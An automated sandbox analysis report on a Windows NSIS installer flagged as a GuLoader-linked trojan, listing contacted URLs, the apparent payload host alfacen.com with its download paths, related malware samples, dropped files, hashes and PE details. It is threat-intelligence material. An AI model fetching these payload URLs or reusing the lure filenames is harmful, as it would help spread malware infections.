https://alfacen.com/GZgWeuQ77.binf	450707124374000811.exe, 00000004.00000003.2863513431.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863275238.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2893414813.0000000005639000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	450707124374000811.exe, 00000004.00000001.2467393777.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	false		unknown
https://alfacen.com/GZgWeuQ77.bine	450707124374000811.exe, 00000004.00000003.2863513431.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863275238.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2893414813.0000000005639000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_ErrorError	450707124374000811.exe	false	URL Reputation: safe	unknown
https://alfacen.com/	450707124374000811.exe, 00000004.00000003.2863513431.0000000005653000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863552565.000000000565B000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2893461136.000000000565C000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863258714.000000000565B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://alfacen.com/GZgWeuQ77.bine/Q	450707124374000811.exe, 00000004.00000003.2863513431.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863275238.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2893414813.0000000005639000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	450707124374000811.exe, 00000004.00000001.2467393777.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.107.36.30	alfacen.com	Bulgaria		201200	SUPERHOSTING_ASBG	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538185
Start date and time:	2024-10-20 19:07:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	450707124374000811.exe
Detection:	MAL
Classification:	mal80.troj.evad.winEXE@2/8@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 47 Number of non-executed functions: 195
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 450707124374000811.exe

Simulations

Behavior and APIs

Time	Type	Description
13:09:59	API Interceptor	3x Sleep call for process: 450707124374000811.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
193.107.36.30	3507071243740008011.exe	Get hash	malicious	GuLoader	Browse
	3507071243740008011.exe	Get hash	malicious	GuLoader	Browse
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse
	SKM_C16024100408500.vbs	Get hash	malicious	GuLoader	Browse
	SKM_C25024100408500.vbs	Get hash	malicious	GuLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
alfacen.com	3507071243740008011.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	3507071243740008011.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	SKM_C16024100408500.vbs	Get hash	malicious	GuLoader	Browse	193.107.36.30
	SKM_C25024100408500.vbs	Get hash	malicious	GuLoader	Browse	193.107.36.30

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SUPERHOSTING_ASBG	3507071243740008011.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	3507071243740008011.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	SKM_C16024100408500.vbs	Get hash	malicious	GuLoader	Browse	193.107.36.30
	SKM_C25024100408500.vbs	Get hash	malicious	GuLoader	Browse	193.107.36.30
	Atlanta Office Interiors #024-010.pdf	Get hash	malicious	Unknown	Browse	185.45.66.155
	https://ipexcel-my.sharepoint.com/:u:/p/bhaskar/EXkHa_fTPjZKq-NlTqXIh7sBrIzBSy8pqbKPLGCEzX2rbA	Get hash	malicious	Unknown	Browse	185.45.66.155
	Arcadia Aerospace Industries LLC (Code qJG7x-ZymK9p-KYuh).html	Get hash	malicious	Unknown	Browse	193.107.36.200
	is homemade pepper spray legal uk 42639.js	Get hash	malicious	GookitLoader	Browse	185.45.67.220

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	3507071243740008011.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	Unlock_Tool_2.3.1.exe	Get hash	malicious	Vidar	Browse	193.107.36.30
	3507071243740008011.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	aZm1EZ2IYr.exe	Get hash	malicious	Vidar	Browse	193.107.36.30
	Unlock_Tool_2.4.exe	Get hash	malicious	Vidar	Browse	193.107.36.30
	JuyR4wj8av.exe	Get hash	malicious	Stealc, Vidar	Browse	193.107.36.30
	SecuriteInfo.com.FileRepMalware.4445.21502.exe	Get hash	malicious	Unknown	Browse	193.107.36.30
	yAkRyU2LPe.exe	Get hash	malicious	Vidar	Browse	193.107.36.30
	EL7ggW7AdA.exe	Get hash	malicious	Stealc, Vidar	Browse	193.107.36.30
	y45bCpZY1I.exe	Get hash	malicious	Vidar	Browse	193.107.36.30

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsqA869.tmp\System.dll	3507071243740008011.exe	Get hash	malicious	GuLoader	Browse
	3507071243740008011.exe	Get hash	malicious	GuLoader	Browse
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse
	RICHIESTA_OFFERTA_RDO2400423.docx.doc	Get hash	malicious	GuLoader	Browse
	Payment_Volksbank_EUR36550-Bestellung -4500673541.com.exe	Get hash	malicious	Remcos, GuLoader	Browse
	Payment_Volksbank_EUR36550-Bestellung -4500673541.com.exe	Get hash	malicious	GuLoader	Browse
	Nutzen_Unterschrift_Planen#2024.com.exe	Get hash	malicious	Remcos, GuLoader	Browse
	Nutzen_Unterschrift_Planen#2024.com.exe	Get hash	malicious	GuLoader	Browse
	Benefit_Signature_Plan#3762.com.exe	Get hash	malicious	Remcos, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsqA869.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\450707124374000811.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.659026618805001
Encrypted:	false
SSDEEP:	192:eX24sihno00Wfl97nH6BenXwWobpWBTtvShJ5omi7dJWjOlqSlS:D8QIl972eXqlWBFSt273YOlqz
MD5:	9625D5B1754BC4FF29281D415D27A0FD
SHA1:	80E85AFC5CCCD4C0A3775EDBB90595A1A59F5CE0
SHA-256:	C2F405D7402F815D0C3FADD9A50F0BBBB1BAB9AA38FE347823478A2587299448
SHA-512:	DCE52B640897C2E8DBFD0A1472D5377FA91FB9CF1AEFF62604D014BCCBE5B56AF1378F173132ABEB0EDD18C225B9F8F5E3D3E72434AED946661E036C779F165B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 3507071243740008011.exe, Detection: malicious, Browse Filename: 3507071243740008011.exe, Detection: malicious, Browse Filename: Potwierdzenie.exe, Detection: malicious, Browse Filename: Potwierdzenie.exe, Detection: malicious, Browse Filename: RICHIESTA_OFFERTA_RDO2400423.docx.doc, Detection: malicious, Browse Filename: Payment_Volksbank_EUR36550-Bestellung -4500673541.com.exe, Detection: malicious, Browse Filename: Payment_Volksbank_EUR36550-Bestellung -4500673541.com.exe, Detection: malicious, Browse Filename: Nutzen_Unterschrift_Planen#2024.com.exe, Detection: malicious, Browse Filename: Nutzen_Unterschrift_Planen#2024.com.exe, Detection: malicious, Browse Filename: Benefit_Signature_Plan#3762.com.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...Y..Y...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..`....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Canton.Chr

Download File

Process:	C:\Users\user\Desktop\450707124374000811.exe
File Type:	data
Category:	dropped
Size (bytes):	283894
Entropy (8bit):	7.702006100164842
Encrypted:	false
SSDEEP:	6144:vhdVvrRbGmvDU6wCxZkgdpQWENGHJCLJqjFaX6ql6ytdwD:vtvrRbGmvrwcZkg8zcHJCLkmt2D
MD5:	D60DE2837DB415CC4F66B85247B99A5B
SHA1:	7C46A763764028D65B812909021A647305772AB0
SHA-256:	3105B5A8590A4AEE190FFAAF4C84D09B123F08DD1B6F34677BBF1BB69AECC716
SHA-512:	36C9CA47DC9E55AC81CB242E7848C91913B3737579F52A39570CF1247770517BAF003812F01999A2B45CC9193FAA85910EBE9B0D1C3E960AC3E1A24D84366101
Malicious:	false
Reputation:	low
Preview:	.........F.o.%%%...--....................PPPP............./.;;;;;........ppp.....QQ.....55......MMMMM....................k..............SS.00...............................dddd...777..y......V..............p....N..OO.......GGG.....u...G.........z.L......UUUU..OO........::.--............777....O....................0.++++.H...............".%......................$..........///...k..5...NN....[[.((.4...V...L................*........v...............jj......o............1........................I........../...................[[[[[[........((.4..............\......................YY.%..qq........V......................A.....................666..................//..........................1.........t.w.H......zzz..4444.a..k........#####.ff...........M..............\|..........................&&&&.&................cccc....^^..1111..'.YY....zzzz........((.I........GG....................!!!!..mmmmm..C...................................................a....88..........UU....7............@@......

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Grundfladernes.Qua

Download File

Process:	C:\Users\user\Desktop\450707124374000811.exe
File Type:	data
Category:	dropped
Size (bytes):	82981
Entropy (8bit):	4.614849518351854
Encrypted:	false
SSDEEP:	1536:HD0Zl31ONi8ZXxYo6qRyCkWuE78I23R0HEpJQ3Tv:HD0ObxxhcCkxg4QDv
MD5:	12629C74AA6BCA8746FD8DB17EE09A8F
SHA1:	A0EECC9D844403FE34CB19B19AB2CE32202B77F3
SHA-256:	209451B54F4D28E90AE8D1B6A073C1234236CCEE38870399027001F5E9E38908
SHA-512:	930C34FA9C781A8D4EFBB7DAAC625C1AFBB0BECDEC93DF745D0C8F17CB2FEFCA034539668A361AF4F0AA482271C3BD746B18C8BFEC17EFCD2666C8C5187722A7
Malicious:	false
Reputation:	low
Preview:	....{{..J.....P..::...................:...CC.1.....OO....}}.++.........III..n...h..........8.-......................,....MMMM.;.:::......}}....<....................SSSS....7..........##....5......^^^.....3....bb................VV........N.}}}...........J........22.v.................kk.....(((((((((((.............e.YYY..............o.....................B.llll...........#....Q.9.000.......]]]......F..........AAAA.g.YY........NNN..........WWW..................%%...............TTT...........A.......i.Y.zzzz....$...........%............t...........x.........a....k........mmmm..u...c....................`.....................gg............'''.......m.ii.........LL.NN.A.............o..........#.. ...###..........!...h..}............^..>......HHHHH...LLL...........}}............................jj...?........%%%%.............c...uu...............>...+....,,...R...d.......???..............f......DD.....................9.........$........O................. .....S......zz.........qq........x..XXX.

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\img-1.jpg

Download File

Process:	C:\Users\user\Desktop\450707124374000811.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 999x605, components 3
Category:	dropped
Size (bytes):	167813
Entropy (8bit):	7.749904770387752
Encrypted:	false
SSDEEP:	3072:icF5a5FZl5xa0SYazQR5dRfp3oVadIALnwP5kipQlMXG6g9:5r2x1SYkQR53fpoVABLnwRk0QKXRg9
MD5:	8C0739994C90303B65A05C6909A53B62
SHA1:	E43239AF385F8DED6EA2098D2A71A2AC9519E32B
SHA-256:	7E1835782673A877C8A4FF9A4E9E88A23D8FA54077B6E7E1D70FBDE5F3A9D66B
SHA-512:	65BB94BEE91A5581EC7BEFE758F2AD71235ED07DEDDC5B85F5E5719B62E2ADCEFDFB080C9DC5D5C67BC2DBA846C26B62E8E043DCF33F02F65B9B18FC4942277F
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H....9Rhttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c034 46.272976, Sat Jan 27 2007 22:37:37 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Make>Canon</tiff:Make>. <tiff:Model>Canon DIGITAL IXUS 800 IS</tiff:Model>. <tiff:Orientation>1</tiff:Orientation>. <tiff:XResolution>72/1</tiff:XResolution>. <tiff:YResolution>72/1</tiff:YResolution>. <tiff:ResolutionUnit>2</tiff:ResolutionUnit>. <tiff:YCbCrPositioning>1</tiff:YCbCrPositioning>. <tiff:Compression>6</tiff:Compression>. </rdf:Description>. <rdf:Description rdf:about="". xmlns:xap="http://ns.adobe.com/xap/1.0/">. <xap:ModifyDate>2008-12-25T21:16:15Z</xap:ModifyDate>. <xap:CreatorTool>Adobe

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\nannie.tek

Download File

Process:	C:\Users\user\Desktop\450707124374000811.exe
File Type:	data
Category:	dropped
Size (bytes):	329924
Entropy (8bit):	4.933260234424776
Encrypted:	false
SSDEEP:	6144:sXxDu/qV1rYX0GEETHfS1YHoQccZ6eJ7Myv5CTV:shy/qSu6qJcZFJPBi
MD5:	562A26D4A57C23D2AE8BD4DECE37E771
SHA1:	A9830E759E670EB8D4EFC5320A112E44ECB389BA
SHA-256:	EDF2898EFF5E72AA11993272EB941C1CD992BB6243E4D2F5940BD88EDF9117CD
SHA-512:	50E8291CB30F1916A5FC41EC7A64C9690A5ABD2AA5B56277029AB04EBCA19769DA91C214C4098B7FC5A8E7E048EBACFC9CFD41540F613B65C1BFF92AEAC49496
Malicious:	false
Reputation:	low
Preview:	......s.......\|Xkt........"..y....8W..........6.......g...k.X......G,..........Q...+...M......2....Vr......3....n...q^D.......J.-........l.........&....~.......E,..(d...e.....S......a........J...#............w..).......y.?....b.........\.............u...............y.6....].j..........y......4.......T...x......O7....E.....)...\|.J.9..)...5c...^..'.......YA............#t...e.....}.....B......"............K..0...{......Z..,........\....X...D.y........j(...........l............0.........j.E6.......................t...................Bm-............N...`..................A..../{...(...hN...............k...X...Y.m...P......^....O?..........C.e........B..b............y..M...P...... y............\|....}.8..H..........y................r.oS!.'..G...l.7......q..tO..g.....,..........~.................?..............V.B.........B......n/..j...............e...........0.mo.b......Ix.....=..Q.!..G............Q\4n..........O.br.7....d.nvH.t.....`...b......A.+...1............j....w......T.

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\nonpendency.age

Download File

Process:	C:\Users\user\Desktop\450707124374000811.exe
File Type:	data
Category:	dropped
Size (bytes):	48084
Entropy (8bit):	4.914629993393861
Encrypted:	false
SSDEEP:	768:D/rnROkWNBnJ+9RlvYC45nQikaSOn/i7/nY1kakXzsDwft2EwNWBbTvMIQwBT:zrx8BnJ+lyzknku2kakXYDwcEcWbwoBT
MD5:	511E6E568EBCF13D5098054630C627AA
SHA1:	1B5AFC7023C138219737E23B00121C359BF8443F
SHA-256:	204A44F0D3C3B63E36B3A4865C029552CCD8AC1EAD3507456BEC7886D724BA54
SHA-512:	DC3088BA850BA2258715826CF985D417A6A138A9EF66F43EBC69EB18CEDA9F4B65686C3F70E2BA39E64AEB8B55B82F550EE603094F06B988DC122299183075E8
Malicious:	false
Reputation:	low
Preview:	.................3v......0...........8......n..m....i............d ...... ..........'..MDY...... ...\|............-.....\|....dt...........G...bC..J............~....?..@........?.k..................z..!........k........................i.......\|f.....X.(.......N..X..v....>..e..................J.....T..........3."...p9...r....2........................<..".......qj...i.`.;........a..........v...k.......%.f......os.....,....(.*.....\|...#...y.7....,...............c.......i.9H............L..sx...{....=.....N'..\...\|.B.....U...&.........B1J<................A....1.....A}\.7.Q........7................K..............C%......8...G....a.................................T.Y.kB.........P............o...&.`....{...{..A.........f....`.........q..............d.............W.......1-...>..R.)s;".e......0..B...].....E........R..............`.......{'...........0...m........._t.........x..............#.p....@_3..j.o............................C......=`...........Nx....Q\......:....A....5...e......~..

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\rimsmeds.txt

Download File

Process:	C:\Users\user\Desktop\450707124374000811.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	501
Entropy (8bit):	4.284126845947256
Encrypted:	false
SSDEEP:	12:7Dvz9cWhFxJiWtT/ksqSYLbLGLW+/tbV90QhtdtmCq/oK6:vpJrilbgW+hHfmCq/ol
MD5:	5D2F45598C5DAD8A461CECDA82CA550E
SHA1:	D594FFDAE11463E5E35170D27C611182F16E038C
SHA-256:	65D3114548018688712A3B735E3B9BA63C2261A5DA9B6505D43378DE5E351B87
SHA-512:	BF9654722B7F313B0E5C9A755C0DA9D37930FA517CA43F36C97F6033C7C764ACACDAC8FDE143A9D89D33D9ED7CC4EE08A96A0DEB14D484E4ACB43E830CA15470
Malicious:	false
Preview:	wellcurbs realkreditlaan rhamnoses aluminiumfoliens needlecase gld.bromelin scoters mormoder klinges albigensianism sociolektens curpel shuttles awreck laboratorieopgave eksercerskoler..nonfederated sprinklingers multiplepoinding indfaldsvinkelen korttegnere opinionsmaalingernes exobiology.amazingly palikars accessibility matriarchical erstatningskravene dorns..reclaimant prepubescent unfairest lusiad uhmmedes proctodaeum sydslesvigers.stormwise septaemia rangsforskel flytteligt hardboard dentex,

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\skreddene.spo

Download File

Process:	C:\Users\user\Desktop\450707124374000811.exe
File Type:	data
Category:	dropped
Size (bytes):	54488
Entropy (8bit):	4.944297757860882
Encrypted:	false
SSDEEP:	1536:BYkiahV7T7eAwz8ruqJUjhEXVM54+suwGXs:BFiahJTCAi8dQ6M54rWs
MD5:	4ECFFF116FE03C56DAD5B0EAE0279D00
SHA1:	18525703697F059B03F7A1F093317E62BAD43004
SHA-256:	593BF06B816C8CACBA83C6CCECD0C3F0F164C4D9CC7F9B4EA7BF2EA2F0CD7906
SHA-512:	D6EBCD15BEE3AD32BB91D7EFEAB363B917127ACF62A8838E621FFA0F080060E00E06BDACD9F2BDD4BE37DFC1A9449A4CE678BC1821E005BAEC3263272BF8877A
Malicious:	false
Preview:	.... ........a....D..o.X...........&.=...x.....l...w......h.2....D ..............6...V^.~...u.......v...(.......8Q..7.................6....A6.....;..5.T.P......K...I...]...........Bk.....4......4.....'...z....k./.....r......f..8.5....S......T..0......."...x...S........@......(......z.;...H...3'd.d.....{.c..Z...3........\|...........].i...2....8.{....0............8.............6...<.@C..r..$3...N=...+..].s...6.........N........y........I..........W....&.........T....}............bd.g................,.......I#..J/...C-.....e...}!..........J..B.P...............{..................8i....$................1.1......[.............>....`4y....A.kA......U........[...dmE..5.......)...e...).....l....T.l......................................`.[....l.N..=...........$....g.... ....Z.<v...?....>...L.o..........D.......&'.*.........2..............k......... 2E... ....KT..2.,.......`.c...........d.E.......<p......!0...I.U....9.._.....a..o5>...............+.....]...P...D....C@..N.........w.hx..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.7511646883690775
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	450707124374000811.exe
File size:	1'001'467 bytes
MD5:	22aeab62009aaa9073b3159d7da1195e
SHA1:	602dd47b6910a522be90fc47d10d5c26a836a01a
SHA256:	1fc195e3937e7c7d9ca78f9c39f8997d5ed98fe1c608ad5c7b4a01dc24ddd967
SHA512:	057f99c072baf1b2c4aadbf5851ac90288af03d991a2b2732d2d9e3c6856a62cbb3c44416e6fb6f67e193a6e50c79d0afb8f5d61f5d9a39e903f9179850b8286
SSDEEP:	24576:8HANkRMLHpVBNAVC+qTC0otgAhHYGDL4kJiMv:8HANkRMLHf3OC+qTfPGD0aJ
TLSH:	DD251205E3A06467C3F5CBF807A6925B7A3BDC79E641074B0352B76A2A78741F14E3AC
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...~..Y.................f.........

File Icon


Icon Hash:	c4bcaaec6ceeda31

Static PE Info

General

Entrypoint:	0x403373
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x597FCC7E [Tue Aug 1 00:34:06 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b34f154ec913d2d2c435cbd644e91687

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A2E0h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080A8h]
call dword ptr [004080A4h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [00434EECh], eax
je 00007F8701347433h
push ebx
call 00007F870134A6C9h
cmp eax, ebx
je 00007F8701347429h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F870134A643h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F870134740Ch
push 0000000Ah
call 00007F870134A69Ch
push 00000008h
call 00007F870134A695h
push 00000006h
mov dword ptr [00434EE4h], eax
call 00007F870134A689h
cmp eax, ebx
je 00007F8701347431h
push 0000001Eh
call eax
test eax, eax
je 00007F8701347429h
or byte ptr [00434EEFh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [00434FB8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 0042B208h
call dword ptr [00408188h]
push 0040A2C8h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8608	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6a000	0x34908	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x65ef	0x6600	a7ac317f30d043d93d4c5978f973de39	False	0.6750919117647058	data	6.514810500836391	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x149a	0x1600	966a3835fd2d9407261ae78460c26dcc	False	0.43803267045454547	data	5.007075185851696	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2aff8	0x600	d113e76cc1b8c0774c4702688d79d792	False	0.5162760416666666	data	4.036693470004838	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x35000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x6a000	0x34908	0x34a00	d09097303c9883a16609d6cfc168ddcd	False	0.5725671763657957	data	6.134346545573802	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x6a400	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x6a768	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.39200579675854724
RT_ICON	0x7af90	0xc890	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9980328762854472
RT_ICON	0x87820	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.46636535631700654
RT_ICON	0x90cc8	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.49302218114602586
RT_ICON	0x96150	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.4863013698630137
RT_ICON	0x9a378	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.46473029045643155
RT_ICON	0x9c920	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States	0.550187617260788
RT_ICON	0x9d9c8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States	0.4095744680851064
RT_DIALOG	0x9de30	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x9df78	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x9e0b8	0x100	data	English	United States	0.5234375
RT_DIALOG	0x9e1b8	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x9e2d8	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x9e3a0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x9e400	0x76	data	English	United States	0.7542372881355932
RT_VERSION	0x9e478	0x14c	Intel 80386 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970	English	United States	0.5813253012048193
RT_MANIFEST	0x9e5c8	0x340	XML 1.0 document, ASCII text, with very long lines (832), with no line terminators	English	United States	0.5540865384615384

Imports

DLL	Import
